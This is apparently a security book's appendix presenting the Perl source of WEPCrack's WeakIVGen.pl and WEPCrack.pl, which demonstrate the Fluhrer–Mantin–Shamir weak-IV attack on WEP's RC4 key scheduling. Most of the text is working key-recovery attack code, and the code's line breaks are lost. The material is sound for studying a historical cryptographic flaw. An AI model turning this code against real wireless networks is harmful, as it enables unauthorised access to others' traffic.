IN THIS APPENDIX
GNU General Public License
As we have mentioned numerous times, the WEPCrack software (whose author, Anton T. Rager, is one of the technical reviewers of this book) was the first public release to validate the theory unleashed in the seminal paper “Weakness in the Key Scheduling Algorithm of RC4” by Fluhrer, Mantin, and Shamir. Their paper, which revealed that the RC4 implementation of wireless 802.11 encryption was fundamentally flawed, came as a slap across the collective face of wireless security. According to this paper, WEP could be cracked in a couple of hours with the proper programming. However, it was not until the release of WEPCrack that this theory was validated with a tangible example. By testing and modifying this example yourself, you will gain a deeper insight into the theories propounded in this book. We therefore present for your study, written in golden letters upon the pages of history, the Perl source code (Listing B.1).
Listing B.1 is the source code for the Prism-decode.pl module of the WEPCrack exploit. Prism-decode.pl is an 802.11 protocol decoder for prismdump output. Input may be either a prisdump capture file or piped prismdump data.
The following section of WEPCrack is the Prisdump Parser, which is a script to look for IVs that match possible weak IV/key pairs. See Listing B.2.
The following is a basic RC4 keyscheduler and PRGA routine that chooses IVs known to be weak (A+3, N-1, X) and encrypts one byte with keys supplied from the command line. An output file is created in the current directory that contains IVs with a corresponding encrypted byte, as well as an indicator for secret key size. The choice of the (A+3, N-1, X) keys is based on the paper “Weakness in the Key Scheduling Algorithm of RC4” by Scott Fluhrer, Itsik Mantin, and Adi Shamir (WeakIVGen.PL). See Listing B.3.
#!/usr/bin/perl # By : Anton T. Rager - 08/09/2001-08/12/2001 # [email protected] $findhost=@ARGV[0]; if (!$findhost) { print("Usage: WeakIVGen.pl <Key1:Key2:Key3:Key4:Key5...Keyn> Where Keyx is key byte in decimal And : is delimiter for each byte [40bit=5bytes, 128bit=11bytes] "); exit; } $i=0; $j=0; $ik=0; $x=0; @inkey=split(":", @ARGV[0]); @IV = (3, 255, 0); # 802.2 SNAP Header should be 1st plaintext byte of WEP packet @text = (0xaa); # Keysize 11 byte or 5 byte $keysize=scalar(@inkey); $bitsize=$keysize*8; print("Keysize = $keysize[$bitsize bits] "); open(OUTFILE, ">IVFile.log"); print("$keysize "); print(OUTFILE "$keysize "); $keylen = $keysize+3; for ($B=0; $B < $keysize; $B++) { #print("$B "); for ($loop1=0; $loop1 < 256 ; $loop1++) { $IV[2]=$loop1; # for ($loop2=0; $loop2 < 10; $loop2++) { $IV[0]=$B+3; # $IV[0]=$loop2; for ($i=0; $i < $keylen; $i++) { if ($i < 3) { $Key[$i]=$IV[$i]; } else { $Key[$i]=$inkey[$i-3]; } } $i=0; $j=0; $ik=0; for ($i=0; $i<256; $i++) { $S[$i]=$i; if ($ik > $keylen-1) { $ik=0; } $Key[$i]=$Key[$ik]; $ik++; } for ($i=0; $i<256; $i++) { $j=($j+$S[$i]+$Key[$i]) % 256; $temp = $S[$i]; $S[$i] = $S[$j]; $S[$j] = $temp; } # 1 byte thru PRGA $i=0; $j=0; $i=($i+1) % 256; $j=($j + $S[$i]) % 256; $temp=$S[$i]; $S[$i]=$S[$j]; $S[$j]=$temp; $t=($S[$i]+$S[$j]) % 256; $K=$S[$t]; $encr=$text[0] ^ $K; $S3Calc = $text[0] ^ $encr; print("$IV[0] $IV[1] $IV[2] $encr "); print(OUTFILE "$IV[0] $IV[1] $IV[2] $encr "); } } print(" "); close(OUTFILE); WEPCrack.PL #!/usr/bin/perl # Basic WEP/RC4 crack tool that demonstrates the key scheduling weaknesses described in the paper # "Weakness in the Key Scheduling Algorithm of RC4" by Scott Fluhrer, Itsik Mantin, and Adi Shamir. # # script relies on existance of file with list of IVs and 1st encrypted output byte to produce the # secret key originally used to encrypt the list of IVs. Another script [WeakIVGen.pl] is included to # produce weak IVs and the encrypted output byte for this script to use. # # By : Anton T. Rager - 08/09/2001-08/12/2001 # [email protected] $i=0; $j=0; $ik=0; $x=0; # 802.2 SNAP Header should be 1st plaintext byte of WEP packet @text = (0xaa); if (!-f "IVFile.log") { die("Error : No IVFile.log file found - run WeakIVGen.pl 1st to generate file "); } # Keysize 11 byte or 5 byte open (IVFILE, "IVFile.log"); @IVList=<IVFILE>; close (IVFILE); $keysize=$IVList[0]; chomp($keysize); splice(@IVList, 0, 1); $bitsize=$keysize*8; print("Keysize = $keysize [$bitsize bits] "); for ($B=0; $B < $keysize; $B++) { # Init statistics array for ($i=0; $i < 256; $i++) { $stat[$i]=0; } foreach $IVRec (@IVList) { @IV=split(" ",$IVRec); $key[0]=$IV[0]; $key[1]=$IV[1]; $key[2]=$IV[2]; $encr=$IV[3]; if ($key[0] eq $B+3) { # Look for matching IV for 1st Key byte $i=0; $j=0; $ik=0; for ($i=0; $i<256; $i++) { $S[$i]=$i; } # 0 to 3+K[b] for ($i=0; $i< $B + 3; $i++) { $j=($j+$S[$i]+$key[$i]) % 256; $temp = $S[$i]; $S[$i] = $S[$j]; $S[$j] = $temp; if ($i eq 1) { $S1[0]=$S[0]; $S1[1]=$S[1]; } } $X=$S[1]; if ($X < $B + 3) { if ($X+$S[$X] eq $B + 3) { if ($S[0] ne $S1[0] || $S[1] ne $S1[1]) { #print("Throwaway IV $IV[0], $IV[1], $IV[2] "); } # Xor inbyte and outbyte to get S[3] # plugin S[3] as J and subtract (5+x+S[3]) to get K $S3Calc = $encr ^ $text[0]; $leaker = $S3Calc-$j-$S[$i] %256; $stat[$leaker]++; # $match++; # if($match >99) { # print("100 matches collected in $counter tries "); # exit; # } } } $max=0; $count=0; foreach $rank (@stat) { if ($rank > $max) { $max=$rank; $winner=$count; } $count++; } } } print("$winner "); push (@key, $winner); } print(" "); |